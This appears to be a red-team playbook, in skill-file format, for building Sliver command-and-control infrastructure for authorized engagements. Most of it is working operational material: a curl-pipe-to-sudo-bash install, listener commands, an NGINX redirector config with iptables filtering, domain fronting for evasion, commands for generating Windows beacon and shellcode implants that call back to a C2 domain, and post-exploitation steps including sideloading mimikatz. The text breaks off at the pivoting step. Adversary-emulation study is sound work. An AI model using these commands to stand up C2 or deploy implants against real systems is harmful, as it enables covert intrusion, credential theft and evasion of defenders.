/building-c2-infrastructure-with-sliver-framework

name: building-c2-infrastructure-with-sliver-framework
description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with
  redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- c2-framework
- sliver
- command-and-control
- adversary-simulation
- infrastructure
- post-exploitation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

• When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
• When establishing security controls aligned to compliance requirements
• When building or improving security architecture for this domain
• When conducting security assessments that require this implementation

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Deploy a Sliver team server on hardened cloud infrastructure
• Configure HTTPS, mTLS, DNS, and WireGuard listeners
• Generate implants (beacons and sessions) for target platforms
• Set up NGINX or Apache redirectors between implants and the team server
• Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
• Configure multi-operator access with certificate-based authentication
• Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

• **T1071.001** - Application Layer Protocol: Web Protocols
• **T1071.004** - Application Layer Protocol: DNS
• **T1573.002** - Encrypted Channel: Asymmetric Cryptography
• **T1090.002** - Proxy: External Proxy (Redirectors)
• **T1105** - Ingress Tool Transfer
• **T1132.001** - Data Encoding: Standard Encoding
• **T1572** - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server 2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban 3. Install Sliver using the official install script:

   curl https://sliver.sh/install | sudo bash

4. Start the Sliver server daemon:

   systemctl start sliver
   # Or run interactively
   sliver-server

5. Generate operator configuration files for team members:

   new-operator --name operator1 --lhost <team-server-ip>

Phase 2: Listener Configuration

1. Configure an HTTPS listener with a legitimate SSL certificate:

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem

2. Configure a DNS listener for fallback C2:

   dns --domains c2dns.example.com --lport 53

3. Configure mTLS listener for high-security sessions:

   mtls --lhost 0.0.0.0 --lport 8888

4. Configure WireGuard listener for tunneled access:

   wg --lport 51820

Phase 3: Redirector Setup

1. Deploy a separate VPS as a redirector (positioned between targets and team server) 2. Install and configure NGINX as a reverse proxy:

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }

3. Configure iptables rules on the team server to only accept connections from the redirector:

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP

4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

1. Generate an HTTPS beacon implant:

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload

2. Generate a DNS beacon for restricted networks:

   generate beacon --dns c2dns.example.com --os windows --arch amd64

3. Generate a shellcode payload for injection:

   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode

4. Configure beacon jitter and callback intervals:

   generate beacon --http https://c2.example.com --seconds 60 --jitter 30

Phase 5: Post-Exploitation Operations

1. Interact with active beacons/sessions:

   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon

2. Execute post-exploitation modules:

   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs

3. Set up pivots for internal network access: